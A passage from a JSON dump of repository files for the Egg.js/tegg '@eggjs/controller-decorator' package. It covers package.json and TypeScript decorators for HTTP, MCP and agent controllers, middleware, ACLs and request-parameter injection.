    "content": "{\n  \"name\": \"@eggjs/controller-decorator\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg controller decorator\",\n  \"keywords\": [\n    \"controller\",\n    \"decorator\",\n    \"egg\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/controller-decorator\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/controller-decorator\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/aop-decorator\": \"workspace:*\",\n    \"@eggjs/cookies\": \"workspace:*\",\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"@modelcontextprotocol/sdk\": \"^1.23.0\",\n    \"is-type-of\": \"catalog:\",\n    \"path-to-regexp\": \"catalog:path-to-regexp1\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/builder/ControllerMetaBuilderFactory.ts",
    "content": "import { Pointcut } from '@eggjs/aop-decorator';\nimport type {\n  ControllerMetaBuilder,\n  ControllerMetaBuilderCreator,\n  ControllerMetadata,\n  ControllerTypeLike,\n  EggProtoImplClass,\n} from '@eggjs/tegg-types';\n\nimport { ControllerInfoUtil, MethodInfoUtil } from '../util/index.ts';\n\nexport class ControllerMetaBuilderFactory {\n  private static builderCreatorMap: Map<ControllerTypeLike, ControllerMetaBuilderCreator> = new Map();\n\n  static registerControllerMetaBuilder(\n    controllerType: ControllerTypeLike,\n    controllerBuilderCreator: ControllerMetaBuilderCreator,\n  ): void {\n    this.builderCreatorMap.set(controllerType, controllerBuilderCreator);\n  }\n\n  static createControllerMetaBuilder(\n    clazz: EggProtoImplClass,\n    controllerType?: ControllerTypeLike,\n  ): ControllerMetaBuilder | undefined {\n    if (!controllerType) {\n      controllerType = ControllerInfoUtil.getControllerType(clazz);\n    }\n    if (!controllerType) {\n      return;\n    }\n    const creator = this.builderCreatorMap.get(controllerType);\n    if (!creator) {\n      throw new Error(`not found controller meta builder for type ${controllerType}`);\n    }\n    return creator(clazz);\n  }\n\n  static build(clazz: EggProtoImplClass, controllerType?: ControllerTypeLike): ControllerMetadata | undefined {\n    const builder = ControllerMetaBuilderFactory.createControllerMetaBuilder(clazz, controllerType);\n    if (!builder) return;\n    const metadata = builder.build();\n    if (!metadata) return;\n    const controllerAopMws = ControllerInfoUtil.getControllerAopMiddlewares(clazz);\n    for (const { name } of metadata.methods) {\n      const methodAopMws = MethodInfoUtil.getMethodAopMiddlewares(clazz, name);\n      if (MethodInfoUtil.shouldRegisterAopMiddlewarePointCut(clazz, name)) {\n        for (const mw of [...methodAopMws, ...controllerAopMws].reverse()) {\n          Pointcut(mw)(clazz.prototype, name);\n        }\n        MethodInfoUtil.registerAopMiddlewarePointcut(clazz, name);\n      }\n    }\n\n    return metadata;\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/builder/index.ts",
    "content": "export * from './ControllerMetaBuilderFactory.ts';\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/Acl.ts",
    "content": "import assert from 'node:assert';\n\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { ControllerInfoUtil, MethodInfoUtil } from '../util/index.ts';\n\nexport function Acl(code?: string) {\n  function classAcl(constructor: EggProtoImplClass) {\n    ControllerInfoUtil.setControllerAcl(code, constructor);\n  }\n\n  function methodAcl(target: any, propertyKey: PropertyKey) {\n    assert.equal(\n      typeof propertyKey,\n      'string',\n      `[controller/${target.name}] expect method name be typeof string, but now is ${String(propertyKey)}`,\n    );\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    const methodName = propertyKey as string;\n    MethodInfoUtil.setMethodAcl(code, controllerClazz, methodName);\n  }\n\n  return function (target: any, propertyKey?: PropertyKey): void {\n    if (propertyKey === undefined) {\n      classAcl(target);\n    } else {\n      methodAcl(target, propertyKey);\n    }\n  };\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/Context.ts",
    "content": "import assert from 'node:assert';\n\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { MethodInfoUtil } from '../util/index.ts';\n\nexport function InjectContext() {\n  return function (target: any, propertyKey: PropertyKey, parameterIndex: number): void {\n    assert.equal(\n      typeof propertyKey,\n      'string',\n      `[controller/${target.name}] expect method name be typeof string, but now is ${String(propertyKey)}`,\n    );\n    const methodName = propertyKey as string;\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    MethodInfoUtil.setMethodContextIndexInArgs(parameterIndex, controllerClazz, methodName);\n  };\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/Middleware.ts",
    "content": "import assert from 'node:assert';\n\nimport { AdviceInfoUtil } from '@eggjs/aop-decorator';\nimport type { IAdvice, EggProtoImplClass, MiddlewareFunc } from '@eggjs/tegg-types';\nimport { isClass } from 'is-type-of';\n\nimport { ControllerInfoUtil, MethodInfoUtil } from '../util/index.ts';\n\nconst MiddlewareType = {\n  AOP: 'AOP',\n  MiddlewareFunc: 'MiddlewareFunc',\n} as const;\ntype MiddlewareType = (typeof MiddlewareType)[keyof typeof MiddlewareType];\n\nfunction isAop(mw: MiddlewareFunc | EggProtoImplClass<IAdvice>) {\n  return isClass(mw) && AdviceInfoUtil.isAdvice(mw as EggProtoImplClass<IAdvice>);\n}\n\nfunction isAopTypeOrMiddlewareType(\n  middlewares: Array<MiddlewareFunc> | Array<EggProtoImplClass<IAdvice>>,\n): MiddlewareType {\n  const adviceCount = middlewares.filter((t) => isAop(t)).length;\n  if (adviceCount) {\n    if (adviceCount === middlewares.length) {\n      return MiddlewareType.AOP;\n    }\n    throw new Error('AOP and MiddlewareFunc can not be mixed');\n  }\n  return MiddlewareType.MiddlewareFunc;\n}\n\nexport function Middleware(...middlewares: Array<MiddlewareFunc> | Array<EggProtoImplClass<IAdvice>>) {\n  function functionTypeClassMiddleware(constructor: EggProtoImplClass) {\n    middlewares.forEach((mid) => {\n      ControllerInfoUtil.addControllerMiddleware(mid as MiddlewareFunc, constructor);\n    });\n  }\n\n  function aopTypeClassMiddleware(constructor: EggProtoImplClass) {\n    for (const aopAdvice of middlewares as EggProtoImplClass<IAdvice>[]) {\n      ControllerInfoUtil.addControllerAopMiddleware(aopAdvice, constructor);\n    }\n  }\n\n  function functionTypeMethodMiddleware(target: any, propertyKey: PropertyKey) {\n    assert.equal(\n      typeof propertyKey,\n      'string',\n      `[controller/${target.name}] expect method name be typeof string, but now is ${String(propertyKey)}`,\n    );\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    const methodName = propertyKey as string;\n    middlewares.forEach((mid) => {\n      MethodInfoUtil.addMethodMiddleware(mid as MiddlewareFunc, controllerClazz, methodName);\n    });\n  }\n\n  function aopTypeMethodMiddleware(target: any, propertyKey: PropertyKey) {\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    const methodName = propertyKey as string;\n    for (const aopAdvice of middlewares as EggProtoImplClass<IAdvice>[]) {\n      MethodInfoUtil.addMethodAopMiddleware(aopAdvice, controllerClazz, methodName);\n    }\n  }\n\n  return function (target: any, propertyKey?: PropertyKey): void {\n    const type = isAopTypeOrMiddlewareType(middlewares);\n    if (propertyKey === undefined) {\n      if (type === MiddlewareType.AOP) {\n        aopTypeClassMiddleware(target);\n      } else {\n        functionTypeClassMiddleware(target);\n      }\n    } else {\n      if (type === MiddlewareType.AOP) {\n        aopTypeMethodMiddleware(target, propertyKey);\n      } else {\n        functionTypeMethodMiddleware(target, propertyKey);\n      }\n    }\n  };\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/agent/AgentController.ts",
    "content": "import { PrototypeUtil, SingletonProto } from '@eggjs/core-decorator';\nimport { StackUtil } from '@eggjs/tegg-common-util';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\nimport {\n  AccessLevel,\n  AGENT_CONTROLLER_PROTO_IMPL_TYPE,\n  ControllerType,\n  HTTPMethodEnum,\n  HTTPParamType,\n} from '@eggjs/tegg-types';\n\nimport { AgentInfoUtil } from '../../util/AgentInfoUtil.ts';\nimport { ControllerInfoUtil } from '../../util/ControllerInfoUtil.ts';\nimport { HTTPInfoUtil } from '../../util/HTTPInfoUtil.ts';\nimport { MethodInfoUtil } from '../../util/MethodInfoUtil.ts';\n\ninterface AgentRouteDefinition {\n  methodName: string;\n  httpMethod: HTTPMethodEnum;\n  path: string;\n  paramType?: 'body' | 'pathParam';\n  paramName?: string;\n  hasParam: boolean;\n}\n\n// Default implementations for unimplemented methods.\n// Methods with hasParam=true need function.length === 1 for param validation.\n// Stubs are marked with Symbol.for('AGENT_NOT_IMPLEMENTED') so agent-runtime\n// can distinguish them from user-defined methods at enhancement time.\nfunction createNotImplemented(methodName: string, hasParam: boolean) {\n  let fn;\n  if (hasParam) {\n    fn = async function (_arg: unknown) {\n      throw new Error(`${methodName} not implemented`);\n    };\n  } else {\n    fn = async function () {\n      throw new Error(`${methodName} not implemented`);\n    };\n  }\n  AgentInfoUtil.setNotImplemented(fn);\n  return fn;\n}\n\nconst AGENT_ROUTES: AgentRouteDefinition[] = [\n  {\n    methodName: 'createThread',\n    httpMethod: HTTPMethodEnum.POST,\n    path: '/threads',\n    hasParam: false,\n  },\n  {\n    methodName: 'getThread',\n    httpMethod: HTTPMethodEnum.GET,\n    path: '/threads/:id',\n    paramType: 'pathParam',\n    paramName: 'id',\n    hasParam: true,\n  },\n  {\n    methodName: 'asyncRun',\n    httpMethod: HTTPMethodEnum.POST,\n    path: '/runs',\n    paramType: 'body',\n    hasParam: true,\n  },\n  {\n    methodName: 'streamRun',\n    httpMethod: HTTPMethodEnum.POST,\n    path: '/runs/stream',\n    paramType: 'body',\n    hasParam: true,\n  },\n  {\n    methodName: 'syncRun',\n    httpMethod: HTTPMethodEnum.POST,\n    path: '/runs/wait',\n    paramType: 'body',\n    hasParam: true,\n  },\n  {\n    methodName: 'getRun',\n    httpMethod: HTTPMethodEnum.GET,\n    path: '/runs/:id',\n    paramType: 'pathParam',\n    paramName: 'id',\n    hasParam: true,\n  },\n  {\n    methodName: 'cancelRun',\n    httpMethod: HTTPMethodEnum.POST,\n    path: '/runs/:id/cancel',\n    paramType: 'pathParam',\n    paramName: 'id',\n    hasParam: true,\n  },\n];\n\nexport function AgentController(): (constructor: EggProtoImplClass) => void {\n  return function (constructor: EggProtoImplClass): void {\n    // Set controller type as HTTP so existing infrastructure handles it\n    ControllerInfoUtil.setControllerType(constructor, ControllerType.HTTP);\n\n    // Set the fixed base HTTP path\n    HTTPInfoUtil.setHTTPPath('/api/v1', constructor);\n\n    // Apply SingletonProto with custom proto impl type\n    const func = SingletonProto({\n      accessLevel: AccessLevel.PUBLIC,\n      protoImplType: AGENT_CONTROLLER_PROTO_IMPL_TYPE,\n    });\n    func(constructor);\n\n    // Set file path for prototype\n    // Stack depth 5: [0] getCalleeFromStack → [1] decorator fn → [2-4] reflect/oxc runtime → [5] user source\n    PrototypeUtil.setFilePath(constructor, StackUtil.getCalleeFromStack(false, 5));\n\n    // Register each agent route\n    for (const route of AGENT_ROUTES) {\n      // Inject default implementation if method not defined\n      if (!constructor.prototype[route.methodName]) {\n        constructor.prototype[route.methodName] = createNotImplemented(route.methodName, route.hasParam);\n      }\n\n      // Set method controller type\n      MethodInfoUtil.setMethodControllerType(constructor, route.methodName, ControllerType.HTTP);\n\n      // Set HTTP method (GET/POST)\n      HTTPInfoUtil.setHTTPMethodMethod(route.httpMethod, constructor, route.methodName);\n\n      // Set HTTP path\n      HTTPInfoUtil.setHTTPMethodPath(route.path, constructor, route.methodName);\n\n      // Set parameter metadata\n      if (route.paramType === 'body') {\n        HTTPInfoUtil.setHTTPMethodParamType(HTTPParamType.BODY, 0, constructor, route.methodName);\n      } else if (route.paramType === 'pathParam') {\n        HTTPInfoUtil.setHTTPMethodParamType(HTTPParamType.PARAM, 0, constructor, route.methodName);\n        HTTPInfoUtil.setHTTPMethodParamName(route.paramName!, 0, constructor, route.methodName);\n      }\n    }\n\n    // Mark the class as an AgentController for precise detection\n    AgentInfoUtil.setAgentController(constructor);\n  };\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/agent/AgentHandler.ts",
    "content": "import type {\n  ThreadObject,\n  ThreadObjectWithMessages,\n  CreateRunInput,\n  RunObject,\n  AgentStreamMessage,\n} from '@eggjs/tegg-types/agent-runtime';\n\n// Interface for AgentController classes. The `execRun` method is required —\n// the framework uses it to auto-wire thread/run management, store persistence,\n// SSE streaming, async execution, and cancellation via smart defaults.\nexport interface AgentHandler {\n  execRun(input: CreateRunInput, signal?: AbortSignal): AsyncGenerator<AgentStreamMessage>;\n  /** Create the AgentStore used to persist threads and runs. */\n  createStore(): Promise<unknown>;\n  createThread?(): Promise<ThreadObject>;\n  getThread?(threadId: string): Promise<ThreadObjectWithMessages>;\n  asyncRun?(input: CreateRunInput): Promise<RunObject>;\n  streamRun?(input: CreateRunInput): Promise<void>;\n  syncRun?(input: CreateRunInput): Promise<RunObject>;\n  getRun?(runId: string): Promise<RunObject>;\n  cancelRun?(runId: string): Promise<RunObject>;\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/agent/index.ts",
    "content": "export * from './AgentController.ts';\nexport * from './AgentHandler.ts';\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/http/HTTPController.ts",
    "content": "import { PrototypeUtil, SingletonProto } from '@eggjs/core-decorator';\nimport { StackUtil } from '@eggjs/tegg-common-util';\nimport type { EggProtoImplClass, HTTPControllerParams } from '@eggjs/tegg-types';\nimport { AccessLevel, ControllerType } from '@eggjs/tegg-types';\n\nimport { ControllerInfoUtil, HTTPInfoUtil } from '../../util/index.ts';\n\nexport function HTTPController(param?: HTTPControllerParams) {\n  return function (constructor: EggProtoImplClass): void {\n    ControllerInfoUtil.setControllerType(constructor, ControllerType.HTTP);\n    if (param?.controllerName) {\n      ControllerInfoUtil.setControllerName(constructor, param.controllerName);\n    }\n    if (param?.path) {\n      HTTPInfoUtil.setHTTPPath(param.path, constructor);\n    }\n    if (param?.timeout) {\n      ControllerInfoUtil.setControllerTimeout(param.timeout, constructor);\n    }\n    // TODO elegant?\n    const func = SingletonProto({\n      accessLevel: AccessLevel.PUBLIC,\n      name: param?.protoName,\n    });\n    func(constructor);\n\n    // './tegg/core/common-util/src/StackUtil.ts',\n    // './tegg/core/core-decorator/src/decorator/Prototype.ts',\n    // './tegg/core/controller-decorator/src/decorator/http/HTTPController.ts',\n    // './tegg/core/core-decorator/node_modules/_reflect-metadata@0.1.13@reflect-metadata/Reflect.js',\n    // './tegg/core/core-decorator/node_modules/_reflect-metadata@0.1.13@reflect-metadata/Reflect.js',\n    // './tegg/core/controller-decorator/test/fixtures/TRFooController.ts',\n    PrototypeUtil.setFilePath(constructor, StackUtil.getCalleeFromStack(false, 5));\n  };\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/http/HTTPMethod.ts",
    "content": "import assert from 'node:assert';\n\nimport { ControllerType } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, HTTPMethodParams } from '@eggjs/tegg-types';\n\nimport { HTTPInfoUtil, MethodInfoUtil } from '../../util/index.ts';\n\nexport function HTTPMethod(param: HTTPMethodParams) {\n  return function (target: any, propertyKey: PropertyKey): void {\n    assert.equal(\n      typeof propertyKey,\n      'string',\n      `[controller/${target.name}] expect method name be typeof string, but now is ${String(propertyKey)}`,\n    );\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    const methodName = propertyKey as string;\n    MethodInfoUtil.setMethodControllerType(controllerClazz, methodName, ControllerType.HTTP);\n    HTTPInfoUtil.setHTTPMethodPath(param.path, controllerClazz, methodName);\n    HTTPInfoUtil.setHTTPMethodMethod(param.method, controllerClazz, methodName);\n    if (param.timeout) {\n      MethodInfoUtil.setMethodTimeout(param.timeout, controllerClazz, methodName);\n    }\n    if (param.priority !== undefined) {\n      HTTPInfoUtil.setHTTPMethodPriority(param.priority, controllerClazz, methodName);\n    }\n  };\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/http/HTTPParam.ts",
    "content": "import assert from 'node:assert';\n\nimport { ObjectUtils } from '@eggjs/tegg-common-util';\nimport { HTTPParamType } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, HTTPParamParams, HTTPQueriesParams, HTTPQueryParams } from '@eggjs/tegg-types';\n\nimport { HTTPInfoUtil } from '../../util/index.ts';\nimport { InjectContext } from '../Context.ts';\n\n// TODO url params\n// /foo/:id\n// refactor HTTPQuery, HTTPBody, HTTPParam\n\n/**\n * Inject the request body.\n *\n * @example\n * ```typescript\n * import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPBody } from 'egg';\n *\n * @HTTPController()\n * export class FooController {\n *   @HTTPMethod({\n *     path: '/foo',\n *     method: HTTPMethodEnum.GET,\n *   })\n *   // POST /foo -H 'Content-Type: application/json' -d '{\"foo\": \"bar\"}'\n *   // body = { \"foo\": \"bar\" }\n *   async bar(@HTTPBody() body: any): Promise<void> {\n *     console.log(body);\n *   }\n * }\n * ```\n */\nexport function HTTPBody() {\n  return function (target: any, propertyKey: PropertyKey, parameterIndex: number): void {\n    assert.equal(\n      typeof propertyKey,\n      'string',\n      `[controller/${target.name}] expect method name be typeof string, but now is ${String(propertyKey)}`,\n    );\n    const methodName = propertyKey as string;\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    HTTPInfoUtil.setHTTPMethodParamType(HTTPParamType.BODY, parameterIndex, controllerClazz, methodName);\n  };\n}\n\n/**\n * Inject the request headers.\n *\n * @example\n * ```typescript\n * import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPHeaders, type IncomingHttpHeaders } from 'egg';\n *\n * @HTTPController()\n * export class FooController {\n *   @HTTPMethod({\n *     path: '/foo',\n *     method: HTTPMethodEnum.GET,\n *   })\n *   // GET /foo -H 'X-Custom: custom'\n *   // headers['x-custom'] = 'custom'\n *   async bar(@HTTPHeaders() headers: IncomingHttpHeaders): Promise<void> {\n *     console.log(headers);\n *   }\n * }\n * ```\n */\nexport function HTTPHeaders() {\n  return function (target: any, propertyKey: PropertyKey, parameterIndex: number): void {\n    assert.equal(\n      typeof propertyKey,\n      'string',\n      `[controller/${target.name}] expect method name be typeof string, but now is ${String(propertyKey)}`,\n    );\n    const methodName = propertyKey as string;\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    HTTPInfoUtil.setHTTPMethodParamType(HTTPParamType.HEADERS, parameterIndex, controllerClazz, methodName);\n  };\n}\n\n/**\n * Inject the request query string, the value is string type.\n *\n * @example\n * ```typescript\n * import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPQuery } from 'egg';\n *\n * @HTTPController()\n * export class FooController {\n *   @HTTPMethod({\n *     path: '/foo',\n *     method: HTTPMethodEnum.GET,\n *   })\n *   // GET /foo?user=asd\n *   // user = 'asd'\n *   async bar(@HTTPQuery() user?: string): Promise<void> {\n *     console.log(user);\n *   }\n * }\n * ```\n */\nexport function HTTPQuery(param?: HTTPQueryParams) {\n  return function (target: any, propertyKey: PropertyKey, parameterIndex: number): void {\n    assert.equal(\n      typeof propertyKey,\n      'string',\n      `[controller/${target.name}] expect method name be typeof string, but now is ${String(propertyKey)}`,\n    );\n    const methodName = propertyKey as string;\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    const argNames = ObjectUtils.getFunctionArgNameList(target[propertyKey]);\n    // if param.name is not set, use the argument name as the param name\n    const name = param?.name || argNames[parameterIndex];\n    HTTPInfoUtil.setHTTPMethodParamType(HTTPParamType.QUERY, parameterIndex, controllerClazz, methodName);\n    HTTPInfoUtil.setHTTPMethodParamName(name, parameterIndex, controllerClazz, methodName);\n  };\n}\n\n/**\n * Inject the request query strings, all value are Array type.\n *\n * @example\n * ```typescript\n * import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPQueries } from 'egg';\n *\n * @HTTPController()\n * export class FooController {\n *   @HTTPMethod({\n *     path: '/foo',\n *     method: HTTPMethodEnum.GET,\n *   })\n *   // GET /foo?user=asd&user=fgh\n *   // user = ['asd', 'fgh']\n *   async bar(@HTTPQueries({ name: 'user' }) users?: string[]): Promise<void> {\n *     console.log(users);\n *   }\n * }\n * ```\n */\nexport function HTTPQueries(param?: HTTPQueriesParams) {\n  return function (target: any, propertyKey: PropertyKey, parameterIndex: number): void {\n    assert.equal(\n      typeof propertyKey,\n      'string',\n      `[controller/${target.name}] expect method name be typeof string, but now is ${String(propertyKey)}`,\n    );\n    const methodName = propertyKey as string;\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    const argNames = ObjectUtils.getFunctionArgNameList(target[propertyKey]);\n    const name = param?.name || argNames[parameterIndex];\n    HTTPInfoUtil.setHTTPMethodParamType(HTTPParamType.QUERIES, parameterIndex, controllerClazz, methodName);\n    HTTPInfoUtil.setHTTPMethodParamName(name, parameterIndex, controllerClazz, methodName);\n  };\n}\n\n/**\n * Inject the request path parameter, the value is string type.\n *\n * @example\n * ```typescript\n * import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPParam } from 'egg';\n *\n * @HTTPController()\n * export class FooController {\n *   @HTTPMethod({\n *     path: '/foo/:id',\n *     method: HTTPMethodEnum.GET,\n *   })\n *   // GET /foo/123\n *   // id = '123'\n *   async bar(@HTTPParam() id: string): Promise<void> {\n *     console.log(id);\n *   }\n * }\n * ```\n */\nexport function HTTPParam(param?: HTTPParamParams) {\n  return function (target: any, propertyKey: PropertyKey, parameterIndex: number): void {\n    assert.equal(\n      typeof propertyKey,\n      'string',\n      `[controller/${target.name}] expect method name be typeof string, but now is ${String(propertyKey)}`,\n    );\n    const methodName = propertyKey as string;\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    const argNames = ObjectUtils.getFunctionArgNameList(target[propertyKey]);\n    const name = param?.name || argNames[parameterIndex];\n    HTTPInfoUtil.setHTTPMethodParamType(HTTPParamType.PARAM, parameterIndex, controllerClazz, methodName);\n    HTTPInfoUtil.setHTTPMethodParamName(name, parameterIndex, controllerClazz, methodName);\n  };\n}\n\n/**\n * Inject the request object.\n *\n * @example\n * ```typescript\n * import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPRequest } from 'egg';\n *\n * @HTTPController()\n * export class FooController {\n *   @HTTPMethod({\n *     path: '/foo',\n *     method: HTTPMethodEnum.GET,\n *   })\n *   async bar(@HTTPRequest() request: Request): Promise<void> {\n *     console.log(request);\n *   }\n * }\n * ```\n */\nexport function HTTPRequest() {\n  return function (target: any, propertyKey: PropertyKey, parameterIndex: number): void {\n    const [nodeMajor] = process.versions.node.split('.').map((v) => Number(v));\n    assert(nodeMajor >= 16, `[controller/${target.name}] expect node version >=16, but now is ${nodeMajor}`);\n    assert.equal(\n      typeof propertyKey,\n      'string',\n      `[controller/${target.name}] expect method name be typeof string, but now is ${String(propertyKey)}`,\n    );\n    const methodName = propertyKey as string;\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    HTTPInfoUtil.setHTTPMethodParamType(HTTPParamType.REQUEST, parameterIndex, controllerClazz, methodName);\n  };\n}\n\n/**\n * Inject the request cookies.\n *\n * @example\n * ```typescript\n * import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPCookies, type Cookies } from 'egg';\n *\n * @HTTPController()\n * export class FooController {\n *   @HTTPMethod({\n *     path: '/foo',\n *     method: HTTPMethodEnum.GET,\n *   })\n *   // GET /foo -H 'Cookie: foo=bar; bar=baz'\n *   // cookies = cookies\n *   async bar(@HTTPCookies() cookies: Cookies): Promise<void> {\n *     console.log(cookies);\n *   }\n * }\n * ```\n */\nexport function HTTPCookies() {\n  return function (target: any, propertyKey: PropertyKey, parameterIndex: number): void {\n    assert.equal(\n      typeof propertyKey,\n      'string',\n      `[controller/${target.name}] expect method name be typeof string, but now is ${String(propertyKey)}`,\n    );\n    const methodName = propertyKey as string;\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    HTTPInfoUtil.setHTTPMethodParamType(HTTPParamType.COOKIES, parameterIndex, controllerClazz, methodName);\n  };\n}\n\nexport {\n  /**\n   * @example\n   *\n   * ```typescript\n   * import { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPContext, type Context } from 'egg';\n   *\n   * @HTTPController()\n   * export class FooController {\n   *   @HTTPMethod({\n   *     path: '/foo',\n   *     method: HTTPMethodEnum.GET,\n   *   })\n   * async bar(@HTTPContext() ctx: Context): Promise<void> {\n   *   console.log(ctx);\n   * }\n   * ```\n   */\n  InjectContext as HTTPContext,\n};\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/http/Host.ts",
    "content": "import assert from 'node:assert';\n\nimport type { EggProtoImplClass, HostType } from '@eggjs/tegg-types';\n\nimport { ControllerInfoUtil, MethodInfoUtil } from '../../util/index.ts';\n\nexport function Host(host: HostType) {\n  function parseHost(): string[] {\n    return Array.isArray(host) ? host : [host];\n  }\n\n  function classHost(constructor: EggProtoImplClass) {\n    ControllerInfoUtil.addControllerHosts(parseHost(), constructor);\n  }\n\n  function methodHost(target: any, propertyKey: PropertyKey) {\n    assert(\n      typeof propertyKey === 'string',\n      `[controller/${target.name}] expect method name be typeof string, but now is ${String(propertyKey)}`,\n    );\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    const methodName = propertyKey as string;\n    MethodInfoUtil.setMethodHosts(parseHost(), controllerClazz, methodName);\n  }\n\n  return function (target: any, propertyKey?: PropertyKey): void {\n    if (propertyKey === undefined) {\n      classHost(target);\n    } else {\n      methodHost(target, propertyKey);\n    }\n  };\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/http/index.ts",
    "content": "export * from './Host.ts';\nexport * from './HTTPController.ts';\nexport * from './HTTPMethod.ts';\nexport * from './HTTPParam.ts';\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/index.ts",
    "content": "export * from './http/index.ts';\nexport * from './mcp/index.ts';\nexport * from './agent/index.ts';\nexport * from './Acl.ts';\nexport * from './Context.ts';\nexport * from './Middleware.ts';\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/mcp/Extra.ts",
    "content": "import type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { MCPInfoUtil } from '../../util/MCPInfoUtil.ts';\n\nexport function Extra(): (target: any, propertyKey: PropertyKey, parameterIndex: number) => void {\n  return function (target: any, propertyKey: PropertyKey, parameterIndex: number): void {\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    const methodName = propertyKey as string;\n    MCPInfoUtil.setMCPExtra(parameterIndex, controllerClazz, methodName);\n  };\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/mcp/MCPController.ts",
    "content": "import { PrototypeUtil, SingletonProto } from '@eggjs/core-decorator';\nimport { StackUtil } from '@eggjs/tegg-common-util';\nimport { ControllerType, AccessLevel } from '@eggjs/tegg-types';\nimport type { MCPControllerParams, EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { ControllerInfoUtil } from '../../util/ControllerInfoUtil.ts';\nimport { MCPInfoUtil } from '../../util/MCPInfoUtil.ts';\n\nexport function MCPController(param?: MCPControllerParams): (constructor: EggProtoImplClass) => void {\n  return function (constructor: EggProtoImplClass): void {\n    const func = SingletonProto({\n      accessLevel: AccessLevel.PUBLIC,\n      name: param?.protoName,\n    });\n    func(constructor);\n    ControllerInfoUtil.setControllerType(constructor, ControllerType.MCP);\n    if (param?.controllerName) {\n      ControllerInfoUtil.setControllerName(constructor, param?.controllerName);\n    }\n    PrototypeUtil.setFilePath(constructor, StackUtil.getCalleeFromStack(false, 5));\n\n    if (param?.name) {\n      MCPInfoUtil.setMCPName(param.name, constructor);\n    }\n    if (param?.version) {\n      MCPInfoUtil.setMCPVersion(param.version, constructor);\n    }\n    MCPInfoUtil.setMCPControllerParams(param, constructor);\n  };\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/mcp/MCPPrompt.ts",
